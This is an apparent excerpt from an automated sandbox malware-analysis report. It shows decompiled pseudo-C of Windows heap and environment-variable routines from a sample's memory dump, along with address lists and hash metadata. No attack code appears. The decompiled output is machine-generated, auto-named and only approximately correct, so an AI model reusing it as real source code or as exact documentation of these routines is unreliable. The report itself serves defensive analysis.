																	_t497 = _t498 + 0x20;
																	goto L116;
																}
																goto L107;
															}
														}
														goto L117;
													}
													_t417 =  *( *_t550);
													 *_t550 = _t378;
													goto L115;
												}
												_t417 = _v36;
												__eflags = _t417 - _v44;
												if(_t417 < _v44) {
													goto L92;
												}
												_v36 = _t417 - _v44;
												_t417 =  *_t545;
												__eflags = _v36 -  *((intOrPtr*)(_t417 + 0x14));
												_t521 = _v16;
												if(_v36 <  *((intOrPtr*)(_t417 + 0x14))) {
													goto L127;
												}
												goto L92;
											}
											_t118 = _t521 + 8; // -16
											_t499 = E34D0E9F6(_t118);
											__eflags = _t499;
											if(_t499 == 0) {
												L87:
												_t478 = 1;
												__eflags = 1;
												goto L88;
											}
											_t555 = _v32;
											do {
												_t437 =  *(_t499 - 4);
												_t499 =  *_t499;
												asm("btr [eax], edi");
												_t555 = _t555 + 1;
												_v36 = _t437 >> 0x00000008 & 0x0000ffff;
												__eflags = _t499;
											} while (_t499 != 0);
											_t521 = _v16;
											_t378 = 0;
											__eflags = 0;
											_v32 = _t555;
											_t542 = _v28;
											goto L87;
										}
										_t483 = _t518 + 8;
										_t409 = _v16 + 8;
										goto L81;
									}
									_t397 = _v44;
									L77:
									_t397 = _t397 + 1;
									_v44 = _t397;
									__eflags = _t397 - _v48;
									if(_t397 <= _v48) {
										_t274 = _v40;
										continue;
									}
									_t542 = _t541 | 0xffffffff;
									__eflags = _t542;
									_v28 = _t542;
									goto L79;
								}
							}
							_push(_t378);
							_push(_t378);
							_push(_t378);
							_push(_t518);
							_t442 = 3;
							E34D45FED(_t442,  *((intOrPtr*)(_t396 + 0xc)));
							goto L64;
						}
						__eflags =  *(_t518 + 7) - _t378;
						if(__eflags >= 0) {
							__eflags =  *(_t535 + 0x4c) - _t378;
							if( *(_t535 + 0x4c) == _t378) {
								L34:
								_t344 = 1;
								L35:
								_v5 = _t344;
								_v6 = _t344;
								__eflags = _t344;
								if(_t344 == 0) {
									L29:
									_t504 = _v20;
									L30:
									_push(_t378);
									_push(_t378);
									_push(_t504);
									_push(_t518);
									_t443 = 3;
									E34D45FED(_t443, _t535);
									__eflags = _v5 - _t378;
									if(_v5 == _t378) {
										goto L22;
									}
									L31:
									__eflags = _a4 & 0x3c000102;
									_t48 = _v20 - 8; // 0x34d76d44
									_t444 = _t48;
									_v44 =  *_t444;
									if((_a4 & 0x3c000102) != 0) {
										goto L59;
									}
									__eflags = _t444[3] - 5;
									if(_t444[3] != 5) {
										_t445 = _t378;
									} else {
										_t51 =  &(_t444[3]); // 0x2aaf
										_t249 = _v20;
										_t445 = _t444 - (( *_t51 & 0x000000ff) << 3) + 8;
									}
									_t348 = E34D278DE(_v44, _t535, _t249, 3, _t445);
									__eflags = _t348;
									if(_t348 < 0) {
										goto L22;
									} else {
										_t249 = _v20;
										goto L59;
									}
								}
								__eflags =  *(_t518 + 7) - _t378;
								if( *(_t518 + 7) >= _t378) {
									__eflags =  *(_t535 + 0x4c) - _t378;
									if( *(_t535 + 0x4c) == _t378) {
										_t351 =  *_t518 & 0x0000ffff;
									} else {
										_t359 =  *_t518;
										__eflags =  *(_t535 + 0x4c) & _t359;
										if(( *(_t535 + 0x4c) & _t359) != 0) {
											_t359 = _t359 ^  *(_t535 + 0x50);
											__eflags = _t359;
										}
										_t351 = _t359 & 0x0000ffff;
									}
								} else {
									_t456 = _t518 >> 0x00000003 ^  *_t518 ^  *0x34d76964 ^ _t535;
									__eflags = _t456;
									if(_t456 == 0) {
										_t361 = _t518 - (_t456 >> 0xd);
										__eflags = _t361;
										_t362 =  *_t361;
									} else {
										_t362 = _t378;
									}
									_t351 =  *((intOrPtr*)(_t362 + 0x14));
								}
								__eflags =  *(_t518 + 7) - 4;
								_t509 = _t351 & 0xffff;
								if( *(_t518 + 7) != 4) {
									_t449 = _t509 << 3;
									__eflags = _t449;
								} else {
									__eflags =  *(_t535 + 0x4c) - _t378;
									if( *(_t535 + 0x4c) == _t378) {
										_t356 =  *_t518 & 0x0000ffff;
									} else {
										_t358 =  *_t518;
										__eflags =  *(_t535 + 0x4c) & _t358;
										if(( *(_t535 + 0x4c) & _t358) != 0) {
											_t358 = _t358 ^  *(_t535 + 0x50);
											__eflags = _t358;
										}
										_t356 = _t358 & 0x0000ffff;
									}
									_t449 =  *((intOrPtr*)(_t518 - 8)) - (_t356 & 0x0000ffff) + _t509;
								}
								_t504 = _v20;
								_t353 = _t449 + _t518;
								__eflags = _t353 - _t504;
								asm("sbb al, al");
								_t355 =  !_t353 & _v6;
								__eflags = _t355;
								_v5 = _t355;
								if(_t355 != 0) {
									goto L31;
								} else {
									goto L30;
								}
							}
							_t363 =  *_t518;
							_t511 =  *(_t535 + 0x50) ^ _t363;
							_v68 = _t363;
							_v68 = _t511;
							__eflags = _t511 >> 0x18 - (_t511 >> 0x00000010 ^ _t511 >> 0x00000008 ^ _t511);
							if(_t511 >> 0x18 == (_t511 >> 0x00000010 ^ _t511 >> 0x00000008 ^ _t511)) {
								goto L34;
							}
							_v5 = _t378;
							goto L29;
						}
						_t344 = E34D41F59(_t378, _t535, _t518, _t518, _t535, __eflags);
						goto L35;
					} else {
						L22:
						 *((intOrPtr*)( *[fs:0x18] + 0xbf4)) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = L34CAABA0(0xc000000d);
						_t519 = _t378;
						goto L7;
					}
				} else {
					if(( *0x34d738c0 & 0x00000002) != 0 && __edx != 0) {
						_t378 =  *(__edx - 8);
						_v20 = __edx - _t378;
					}
					_t370 = E34D2D8D2(_a4);
					_t534 = _v20;
					_t372 = E34D486A8(_t535, _v20, _t370 & 0x11000001, _a8, _a12);
					_v36 = _t372;
					if(_t372 != 0) {
						_t373 = _a8;
						__eflags = _t373;
						if(_t373 != 0) {
							 *_t373 =  *_t373 - _t378;
							__eflags =  *_t373;
						}
						_t374 = E34C93C20(_t535);
						__eflags = _t374;
						if(_t374 != 0) {
							E34D3E8B1(_t535, _t534);
						}
					} else {
						 *((intOrPtr*)( *[fs:0x18] + 0xbf4)) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = L34CAABA0(0xc000000d);
					}
					_t519 = _v36;
					L7:
					return _t519;
				}
			}

0x34cd7184
0x34cd7186
0x34cd7188
0x34cd718a
0x34cd718e
0x34cd7191
0x34cd719a
0x34cd7229
0x34cd7233
0x34cd78ef
0x34cd78f8
0x34cd78fd
0x34cd7900
0x34cd7902
0x00000000
0x00000000
0x34cd7908
0x34cd7908
0x34cd790b
0x34cd790d
0x34cd790f
0x34cd7911
0x34cd7911
0x34cd7914
0x34cd7917
0x34cd7919
0x34cd791b
0x34cd791b
0x34cd791f
0x34cd7924
0x34cd7926
0x34cd792c
0x34cd7933
0x34cd793e
0x34cd793e
0x34cd7933
0x00000000
0x34cd7926
0x34cd7239
0x34cd723d
0x34cd724a
0x34cd724c
0x34cd7278
0x34cd7279
0x34cd727a
0x34cd727b
0x34cd7280
0x34cd7281
0x34cd724e
0x34cd724e
0x34cd7251
0x34cd7255
0x34cd725e
0x34cd725e
0x34cd725e
0x34cd7260
0x34cd7264
0x34cd7266
0x34cd7267
0x34cd7268
0x34cd7269
0x34cd726a
0x34cd726e
0x34cd726f
0x34cd7274
0x34cd7274
0x34cd7264
0x34cd723f
0x34cd7246
0x34cd7246
0x34cd7286
0x34cd7288
0x34cd72b2
0x34cd72b5
0x34cd72b9
0x34cd7404
0x34cd7404
0x34cd7407
0x00000000
0x34cd78ec
0x34cd741a
0x34cd741c
0x34cd741f
0x34cd78d9
0x34cd78d9
0x34cd78da
0x34cd78db
0x34cd78dc
0x34cd78e1
0x34cd78e2
0x34cd748b
0x34cd748d
0x00000000
0x34cd748d
0x34cd742c
0x34cd742e
0x34cd7431
0x34cd7433
0x00000000
0x00000000
0x34cd743c
0x34cd7442
0x34cd7447
0x34cd744a
0x34cd744d
0x34cd7452
0x34cd745a
0x34cd745f
0x34cd7475
0x34cd7477
0x34cd7493
0x34cd7498
0x34cd749a
0x34cd74ac
0x34cd749c
0x34cd74a5
0x34cd74a5
0x34cd74b3
0x34cd74b4
0x34cd74b6
0x34cd74b8
0x34cd74be
0x34cd74c4
0x34cd74d1
0x34cd74d8
0x34cd74d8
0x34cd74d8
0x34cd74c4
0x34cd74d9
0x34cd74e0
0x34cd74e2
0x34cd74e5
0x34cd74ea
0x34cd74f0
0x34cd74f3
0x34cd74fb
0x34cd74fb
0x34cd74ff
0x34cd7502
0x34cd7505
0x34cd750a
0x00000000
0x00000000
0x34cd7519
0x34cd751d
0x34cd7520
0x34cd7522
0x34cd7536
0x34cd7536
0x34cd753a
0x34cd753d
0x34cd7555
0x34cd755e
0x34cd7561
0x34cd7565
0x34cd75a2
0x34cd75b1
0x34cd75b3
0x34cd75b5
0x34cd75b9
0x34cd77f9
0x34cd77f9
0x34cd77fc
0x34cd77ff
0x34cd7801
0x34cd7488
0x34cd7488
0x00000000
0x34cd7488
0x34cd780b
0x34cd7810
0x34cd7812
0x00000000
0x00000000
0x34cd7818
0x34cd781b
0x34cd781b
0x34cd781d
0x34cd781f
0x00000000
0x00000000
0x34cd7825
0x34cd7828
0x00000000
0x00000000
0x34cd7835
0x34cd7839
0x34cd783b
0x00000000
0x00000000
0x34cd783d
0x34cd783f
0x34cd7841
0x34cd7844
0x34cd7850
0x34cd7853
0x34cd7855
0x34cd7858
0x34cd785a
0x34cd7871
0x34cd7874
0x34cd7876
0x00000000
0x00000000
0x34cd787f
0x34cd7883
0x34cd7886
0x34cd7888
0x34cd78b2
0x34cd78b6
0x34cd78b8
0x34cd78ba
0x34cd78bc
0x34cd78bc
0x34cd78c2
0x34cd78c5
0x00000000
0x00000000
0x34cd78cd
0x34cd78cf
0x34cd78d1
0x34cd7548
0x34cd7548
0x00000000
0x34cd7548
0x34cd788a
0x34cd788a
0x00000000
0x34cd788a
0x34cd7863
0x34cd7867
0x34cd7869
0x00000000
0x00000000
0x00000000
0x34cd788d
0x34cd788d
0x34cd788e
0x34cd788e
0x34cd789a
0x34cd78a5
0x34cd78a8
0x00000000
0x34cd78a8
0x00000000
0x34cd781b
0x34cd75c4
0x34cd75ca
0x34cd75cd
0x34cd75d0
0x34cd75d2
0x34cd75f3
0x34cd75f3
0x34cd75f7
0x34cd75fa
0x34cd75fd
0x34cd75fd
0x34cd75ff
0x34cd7601
0x34cd7714
0x34cd7714
0x34cd771d
0x34cd7722
0x34cd7725
0x34cd7728
0x34cd7739
0x34cd773c
0x34cd774e
0x34cd774f
0x34cd774f
0x34cd7752
0x34cd7759
0x34cd775e
0x34cd775f
0x34cd7763
0x34cd7767
0x34cd7768
0x34cd776a
0x34cd776a
0x34cd7775
0x34cd777b
0x34cd7780
0x34cd7784
0x34cd778e
0x34cd778e
0x34cd7791
0x34cd7794
0x34cd7794
0x34cd7797
0x34cd7797
0x34cd7797
0x34cd7797
0x34cd7799
0x34cd779e
0x34cd77ab
0x34cd77b2
0x34cd77b4
0x34cd77b4
0x34cd77b9
0x34cd77b9
0x34cd77be
0x34cd77c1
0x34cd77c1
0x34cd77c6
0x34cd77c9
0x34cd77cf
0x34cd77d5
0x34cd77d6
0x34cd77d8
0x34cd77da
0x34cd77dc
0x34cd77dc
0x34cd77e2
0x34cd77e5
0x00000000
0x00000000
0x34cd77ed
0x34cd77f0
0x34cd77f2
0x00000000
0x34cd77f2
0x34cd760c
0x34cd760d
0x34cd760f
0x34cd7611
0x34cd7613
0x34cd7613
0x34cd7619
0x34cd761c
0x34cd761f
0x34cd762c
0x34cd7631
0x34cd7636
0x34cd7638
0x34cd7711
0x34cd7713
0x34cd7713
0x00000000
0x00000000
0x00000000
0x00000000
0x34cd763e
0x34cd763e
0x34cd763e
0x34cd7641
0x34cd7643
0x00000000
0x00000000
0x34cd7649
0x34cd764c
0x00000000
0x00000000
0x34cd7657
0x34cd765c
0x34cd7660
0x34cd7663
0x34cd7665
0x00000000
0x00000000
0x34cd7667
0x34cd7669
0x34cd766b
0x34cd766e
0x34cd7671
0x34cd7671
0x34cd767d
0x34cd7680
0x34cd7683
0x34cd7685
0x34cd7688
0x34cd768a
0x00000000
0x00000000
0x34cd768c
0x34cd768e
0x34cd7692
0x34cd7694
0x00000000
0x00000000
0x34cd76bb
0x34cd76bb
0x34cd76be
0x34cd76be
0x34cd76bf
0x34cd76c2
0x34cd76c5
0x34cd76f4
0x34cd7706
0x34cd7706
0x34cd7709
0x34cd7709
0x34cd770c
0x34cd770c
0x00000000
0x34cd770c
0x34cd76c7
0x00000000
0x34cd7698
0x34cd7698
0x34cd769d
0x34cd76a0
0x34cd76a1
0x34cd76a3
0x34cd76a5
0x00000000
0x00000000
0x34cd76af
0x34cd76b3
0x34cd76b6
0x34cd76b9
0x34cd76d1
0x34cd76d2
0x34cd76d4
0x34cd76d6
0x34cd76d6
0x34cd76d8
0x34cd76d8
0x34cd76de
0x34cd76e1
0x34cd76e4
0x00000000
0x00000000
0x34cd76e6
0x34cd76eb
0x34cd76ed
0x34cd76ef
0x00000000
0x34cd76ef
0x00000000
0x34cd76b9
0x34cd7671
0x00000000
0x34cd763e
0x34cd7623
0x34cd7625
0x00000000
0x34cd7625
0x34cd75d4
0x34cd75d7
0x34cd75da
0x00000000
0x00000000
0x34cd75df
0x34cd75e2
0x34cd75e7
0x34cd75ea
0x34cd75ed
0x00000000
0x00000000
0x00000000
0x34cd75ed
0x34cd7567
0x34cd756f
0x34cd7571
0x34cd7573
0x34cd759f
0x34cd75a1
0x34cd75a1
0x00000000
0x34cd75a1
0x34cd7578
0x34cd757b
0x34cd757b
0x34cd7581
0x34cd7589
0x34cd758c
0x34cd758d
0x34cd7590
0x34cd7590
0x34cd7594
0x34cd7597
0x34cd7597
0x34cd7599
0x34cd759c
0x00000000
0x34cd759c
0x34cd7542
0x34cd7545
0x00000000
0x34cd7545
0x34cd7524
0x34cd7527
0x34cd7527
0x34cd7528
0x34cd752b
0x34cd752e
0x34cd74f8
0x00000000
0x34cd74f8
0x34cd7530
0x34cd7530
0x34cd7533
0x00000000
0x34cd7533
0x34cd74fb
0x34cd747c
0x34cd747d
0x34cd747e
0x34cd747f
0x34cd7482
0x34cd7483
0x00000000
0x34cd7483
0x34cd72bf
0x34cd72c2
0x34cd72cf
0x34cd72d2
0x34cd7349
0x34cd7349
0x34cd734b
0x34cd734b
0x34cd734e
0x34cd7351
0x34cd7353
0x34cd72f9
0x34cd72f9
0x34cd72fc
0x34cd72fc
0x34cd72fd
0x34cd72fe
0x34cd72ff
0x34cd7304
0x34cd7305
0x34cd730a
0x34cd730d
0x00000000
0x00000000
0x34cd7313
0x34cd7313
0x34cd731d
0x34cd731d
0x34cd7322
0x34cd7325
0x00000000
0x00000000
0x34cd732b
0x34cd732f
0x34cd73e9
0x34cd7335
0x34cd7335
0x34cd733e
0x34cd7341
0x34cd7341
0x34cd73f4
0x34cd73f9
0x34cd73fb
0x00000000
0x34cd7401
0x34cd7401
0x00000000
0x34cd7401
0x34cd73fb
0x34cd7355
0x34cd7358
0x34cd7381
0x34cd7384
0x34cd7395
0x34cd7386
0x34cd7386
0x34cd7388
0x34cd738b
0x34cd738d
0x34cd738d
0x34cd738d
0x34cd7390
0x34cd7390
0x34cd735a
0x34cd7367
0x34cd7369
0x34cd736c
0x34cd7377
0x34cd7377
0x34cd7379
0x34cd736e
0x34cd736e
0x34cd736e
0x34cd737b
0x34cd737b
0x34cd7398
0x34cd739f
0x34cd73a2
0x34cd73c9
0x34cd73c9
0x34cd73a4
0x34cd73a4
0x34cd73a7
0x34cd73b8
0x34cd73a9
0x34cd73a9
0x34cd73ab
0x34cd73ae
0x34cd73b0
0x34cd73b0
0x34cd73b0
0x34cd73b3
0x34cd73b3
0x34cd73c3
0x34cd73c3
0x34cd73cc
0x34cd73cf
0x34cd73d2
0x34cd73d4
0x34cd73d8
0x34cd73d8
0x34cd73db
0x34cd73de
0x00000000
0x34cd73e4
0x00000000
0x34cd73e4
0x34cd73de
0x34cd72d4
0x34cd72d9
0x34cd72db
0x34cd72e0
0x34cd72f2
0x34cd72f4
0x00000000
0x00000000
0x34cd72f6
0x00000000
0x34cd72f6
0x34cd72c8
0x00000000
0x34cd728a
0x34cd728a
0x34cd729d
0x34cd72a8
0x34cd72ab
0x00000000
0x34cd72ab
0x34cd71a0
0x34cd71a7
0x34cd71ad
0x34cd71b2
0x34cd71b2
0x34cd71be
0x34cd71c3
0x34cd71d0
0x34cd71d5
0x34cd71da
0x34cd720a
0x34cd720d
0x34cd720f
0x34cd7211
0x34cd7211
0x34cd7211
0x34cd7215
0x34cd721a
0x34cd721c
0x34cd7222
0x34cd7222
0x34cd71dc
0x34cd71f0
0x34cd71fb
0x34cd71fb
0x34cd71fe
0x34cd7201
0x34cd7207
0x34cd7207

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31dd7ec962fafbab3fe671eae86984663cc6492bf1778f238808442ee11693e7
Instruction ID: 467945e219b2f7e921c4111f83b0e6b1bd7e44286e7372306fe6808c467b3506
Opcode Fuzzy Hash: 31dd7ec962fafbab3fe671eae86984663cc6492bf1778f238808442ee11693e7
Instruction Fuzzy Hash: 3142BF75A01616CFEB05CF59C8906AEB7B7FF8A354B14856DDA51EB340DB30E842CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 34CAB1E0 Relevance: .6, Instructions: 629
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E34CAB1E0(signed int _a4, signed int _a8, signed int _a12, signed int _a16, intOrPtr _a20) {
				char _v8;
				signed int _v12;
				char _v20;
				signed int _v29;
				char _v30;
				signed short _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* __ebx;
				void* __ebp;
				signed int _t232;
				intOrPtr _t235;
				signed int _t236;
				signed int _t241;
				short* _t255;
				short* _t259;
				short* _t260;
				signed int _t261;
				signed int _t270;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t282;
				void* _t284;
				signed int _t299;
				intOrPtr _t311;
				intOrPtr _t319;
				signed int _t322;
				signed int _t324;
				signed int _t327;
				signed short* _t334;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed int _t343;
				intOrPtr _t344;
				signed int _t346;
				signed int _t350;
				signed int _t355;
				signed int _t356;
				intOrPtr _t357;
				signed int _t359;
				short* _t361;
				void* _t362;
				signed int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t374;
				signed int _t375;
				signed short _t378;
				intOrPtr _t380;
				intOrPtr _t383;
				intOrPtr _t384;
				signed int _t388;
				signed int _t389;
				void* _t390;
				signed int _t392;
				intOrPtr _t397;
				signed int _t400;
				short* _t401;
				signed int _t402;
				short* _t403;
				signed int _t406;
				signed int _t408;
				void* _t409;
				signed int _t414;
				signed int _t415;
				void* _t416;
				void* _t417;
				signed int _t418;
				void* _t420;
				void* _t422;
				signed int _t424;
				signed int _t425;
				intOrPtr _t427;
				void* _t428;
				void* _t432;
				void* _t435;
				void* _t437;
				signed short _t438;
				intOrPtr _t441;
				signed int _t442;
				void* _t443;
				void* _t444;
				void* _t446;

				_push(0xfffffffe);
				_push(0x34d5c5a8);
				_push(E34CCAD20);
				_push( *[fs:0x0]);
				_t444 = _t443 - 0x54;
				_t232 =  *0x34d7b370;
				_v12 = _v12 ^ _t232;
				_push(_t232 ^ _t442);
				 *[fs:0x0] =  &_v20;
				_v56 = 0;
				_v84 = 0;
				_v29 = 0;
				_v30 = 0;
				_t389 = _a12;
				if(_t389 == 0) {
					L120:
					_t235 = 0xc000000d;
					L66:
					 *[fs:0x0] = _v20;
					return _t235;
				}
				_t339 = _a8;
				if( *_t339 == 0) {
					goto L120;
				} else {
					_t236 = 1;
					while(_t236 < _t389) {
						_t388 =  *(_t339 + _t236 * 2) & 0x0000ffff;
						if(_t388 == 0 || _t388 == 0x3d) {
							goto L120;
						} else {
							_t236 = _t236 + 1;
							_t339 = _a8;
							continue;
						}
					}
					_t340 = _a16;
					__eflags = _t340;
					if(_t340 == 0) {
						L12:
						_t238 =  *( *[fs:0x18] + 0x30);
						_t327 =  *((intOrPtr*)(_t238 + 0x10));
						_v48 = _t327;
						_v100 = _t327;
						_v68 = 0;
						_t414 = 0;
						_v44 = 0;
						_t341 = _a4;
						__eflags = _t341;
						if(_t341 != 0) {
							_t342 =  *_t341;
							_v36 = _t342;
							__eflags =  *(_t327 + 0x48) - _t342;
							if( *(_t327 + 0x48) != _t342) {
								goto L14;
							}
							_t238 =  *(_t238 + 0x1c);
							__eflags = _t238;
							if(_t238 == 0) {
								L104:
								_v29 = 1;
								goto L14;
							} else {
								_t238 = E34CA2180(_t238);
								_t342 = _v36;
								__eflags = _t238;
								if(_t238 == 0) {
									goto L14;
								}
								goto L104;
							}
						} else {
							_v30 = 1;
							_v29 = 1;
							_t238 = E34C8FED0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
							_t342 =  *(_t327 + 0x48);
							_v36 = _t342;
							_t414 = _v44;
							L14:
							_v8 = 0;
							_t400 = _t342;
							_v40 = _t400;
							_t328 = 0;
							_v52 = 0;
							__eflags = _t342;
							if(_t342 == 0) {
								L61:
								__eflags = _t414;
								if(_t414 != 0) {
									_t400 = _t414;
									_v40 = _t400;
								}
								__eflags = _t328;
								if(_t328 == 0) {
									__eflags = _a16;
									if(_a16 == 0) {
										goto L63;
									}
									__eflags = _t400;
									if(_t400 == 0) {
										_t415 = _a12;
										_t344 = _a20;
										_t241 = 6 + (_t415 + _t344) * 2;
										_t390 = 0;
										L75:
										_v60 = _t241;
										__eflags = _t241 - _t390;
										if(_t241 < _t390) {
											_t164 = _t344 + 2; // 0x2
											E34CC8C00(_t400 + (_t164 + _t415) * 2, _t400, _t328 - _t400 & 0xfffffffe);
											_t416 = _t415 + _t415;
											E34CC88C0(_t400, _a8, _t416);
											_t446 = _t444 + 0x18;
											_t329 = _v29;
											__eflags = _v29;
											if(_v29 != 0) {
												E34CC8F40(0x34d763a0, 0, 0x234);
												_t446 = _t446 + 0xc;
											}
											_t401 = _t400 + _t416;
											_v40 = _t401;
											 *_t401 = 0x3d;
											_t402 = _t401 + 2;
											_v40 = _t402;
											_t417 = _a20 + _a20;
											E34CC88C0(_t402, _a16, _t417);
											_t403 = _t402 + _t417;
											_v40 = _t403;
											_t238 = 0;
											 *_t403 = 0;
											_v40 = _t403 + 2;
											__eflags = _a4;
											if(_a4 != 0) {
												goto L64;
											} else {
												_t343 = _v48;
												 *((intOrPtr*)(_t343 + 0x48)) = _v36;
												_t238 = _v60;
												 *((intOrPtr*)(_t343 + 0x290)) = _v60;
												 *((intOrPtr*)(_t343 + 0x294)) =  *((intOrPtr*)(_t343 + 0x294)) + 1;
												goto L65;
											}
										}
										_t346 = E34CAB9FA(_t241);
										_v64 = _t346;
										__eflags = _t346;
										if(_t346 == 0) {
											L111:
											_v68 = 0xc000009a;
											goto L63;
										}
										__eflags = _t400;
										if(_t400 == 0) {
											_t418 = 0;
										} else {
											_t424 = _t400 - _v36;
											__eflags = _t424;
											_t418 = _t424 >> 1;
											E34CC88C0(_t346, _v36, _t418 + _t418);
											_t444 = _t444 + 0xc;
											_t346 = _v64;
										}
										_v80 = _t346 + _t418 * 2;
										_t420 = _a12 + _a12;
										E34CC88C0(_t346 + _t418 * 2, _a8, _t420);
										_t255 = _v80 + _t420;
										 *_t255 = 0x3d;
										_v80 = _t255 + 2;
										_t422 = _a20 + _a20;
										E34CC88C0(_t255 + 2, _a16, _t422);
										_t259 = _v80 + _t422;
										 *_t259 = 0;
										_t260 = _t259 + 2;
										__eflags = _t400;
										if(_t400 == 0) {
											 *_t260 = 0;
											_t329 = _v29;
										} else {
											E34CC88C0(_t260, _t400, _t328 - _t400 & 0xfffffffe);
											_t329 = _v29;
											__eflags = _v29;
											if(_v29 != 0) {
												E34CC8F40(0x34d763a0, 0, 0x234);
											}
										}
										_t350 = _a4;
										_t261 = _v64;
										__eflags = _t350;
										if(_t350 != 0) {
											 *_t350 = _t261;
										} else {
											_t350 = _v48;
											 *((intOrPtr*)(_t350 + 0x48)) = _t261;
											 *((intOrPtr*)(_t350 + 0x290)) = _v60;
											_t148 = _t350 + 0x294;
											 *_t148 =  *(_t350 + 0x294) + 1;
											__eflags =  *_t148;
										}
										__eflags = _v30;
										if(_v30 != 0) {
											_push( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
											E34C8E740(_t350);
											_v30 = 0;
										}
										_t238 = L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v36);
										goto L64;
									}
									_v52 = _t400;
									while(1) {
										L70:
										_t270 =  *_t400 & 0x0000ffff;
										__eflags = _t270;
										if(_t270 == 0) {
											break;
										}
										while(1) {
											_t400 = _t400 + 2;
											_v52 = _t400;
											__eflags = _t270;
											if(_t270 == 0) {
												goto L70;
											}
											_t270 =  *_t400 & 0x0000ffff;
										}
									}
									_v52 = _t400 + 2;
									_t390 = E34CAB870(_t342,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t342);
									_t328 = _v52;
									_t415 = _a12;
									_t355 = (_v52 - _v36 >> 1) + _t415 + _a20;
									__eflags = _t355;
									_t241 = 4 + _t355 * 2;
									_t400 = _v40;
									_t344 = _a20;
									goto L75;
								} else {
									L63:
									_t329 = _v29;
									L64:
									_t343 = _v48;
									L65:
									_v8 = 0xfffffffe;
									E34CAB839(_t238, _t329, _t343);
									_t235 = _v68;
									goto L66;
								}
							}
							_t238 = _v84;
							_v80 = _v84;
							while(1) {
								L16:
								__eflags =  *_t400 - _t328;
								if( *_t400 == _t328) {
									break;
								}
								_t392 = _t400;
								_v92 = _t392;
								_t425 = 0;
								__eflags = 0;
								_v88 = 0;
								while(1) {
									_t400 = _t400 + 2;
									_v40 = _t400;
									_t273 =  *_t400 & 0x0000ffff;
									__eflags = _t273;
									if(_t273 == 0) {
										break;
									}
									__eflags = _t273 - 0x3d;
									if(_t273 != 0x3d) {
										continue;
									}
									_t425 = _t400 - _t392 >> 1;
									_v88 = _t425;
									_t400 = _t400 + 2;
									__eflags = _t400;
									_v40 = _t400;
									_t322 = _t400;
									_v56 = _t322;
									while(1) {
										__eflags =  *_t400 - _t328;
										if( *_t400 == _t328) {
											break;
										}
										_t400 = _t400 + 2;
										_v40 = _t400;
									}
									_t374 = _t400 - _t322;
									__eflags = _t374;
									_t375 = _t374 >> 1;
									_v80 = _t375;
									_v84 = _t375;
									break;
								}
								_t400 = _t400 + 2;
								_v40 = _t400;
								_t238 = _a8;
								_v72 = _t238;
								_v76 = _t392;
								_t356 = _a12;
								__eflags = _t356 - _t425;
								if(_t356 > _t425) {
									_t356 = _t425;
								}
								_t357 = _t238 + _t356 * 2;
								_v96 = _t357;
								while(1) {
									__eflags = _t238 - _t357;
									if(_t238 >= _t357) {
										break;
									}
									_v60 =  *_t238 & 0x0000ffff;
									_v64 =  *_t392 & 0x0000ffff;
									_t378 = _v60;
									_v32 = _t378;
									_t438 = _v64;
									__eflags = _t378 - _t438;
									if(_t378 == _t438) {
										L37:
										_t238 = _t238 + 2;
										_v72 = _t238;
										_t392 = _t392 + 2;
										_v76 = _t392;
										_t357 = _v96;
										continue;
									}
									__eflags = _t378 - 0x61;
									if(_t378 >= 0x61) {
										__eflags = _t378 - 0x7a;
										if(_t378 > 0x7a) {
											__eflags =  *0x34d76914 - _t328; // 0x7ffd0654
											if(__eflags == 0) {
												goto L30;
											}
											_v60 = 0xc0;
											__eflags = _t378 - _v60;
											if(_t378 < _v60) {
												goto L30;
											}
											_t384 =  *0x34d76914; // 0x7ffd0654
											_t319 =  *0x34d76914; // 0x7ffd0654
											_t397 =  *0x34d76914; // 0x7ffd0654
											_t378 = _v32 +  *((intOrPtr*)(_t397 + (( *(_t319 + (( *(_t384 + ((_t378 & 0x0000ffff) >> 8) * 2) & 0x0000ffff) + ((_t378 & 0x0000ffff) >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t378 & 0xf)) * 2));
											_t238 = _v72;
											_t392 = _v76;
											L42:
											_v32 = _t378;
											goto L30;
										}
										_t66 =  &_v60;
										 *_t66 = _v60 + 0xffe0;
										__eflags =  *_t66;
										_t378 = _v60;
										goto L42;
									}
									L30:
									__eflags = _t438 - 0x61;
									if(_t438 >= 0x61) {
										__eflags = _t438 - 0x7a;
										if(_t438 > 0x7a) {
											__eflags =  *0x34d76914 - _t328; // 0x7ffd0654
											if(__eflags != 0) {
												_v64 = 0xc0;
												__eflags = _t438 - _v64;
												if(_t438 >= _v64) {
													_t380 =  *0x34d76914; // 0x7ffd0654
													_t311 =  *0x34d76914; // 0x7ffd0654
													_t383 =  *0x34d76914; // 0x7ffd0654
													_t438 = _t438 +  *((intOrPtr*)(_t383 + (( *(_t311 + (( *(_t380 + ((_t438 & 0x0000ffff) >> 8) * 2) & 0x0000ffff) + ((_t438 & 0x0000ffff) >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t438 & 0xf)) * 2));
													_t378 = _v32;
													_t238 = _v72;
													_t392 = _v76;
												}
											}
										} else {
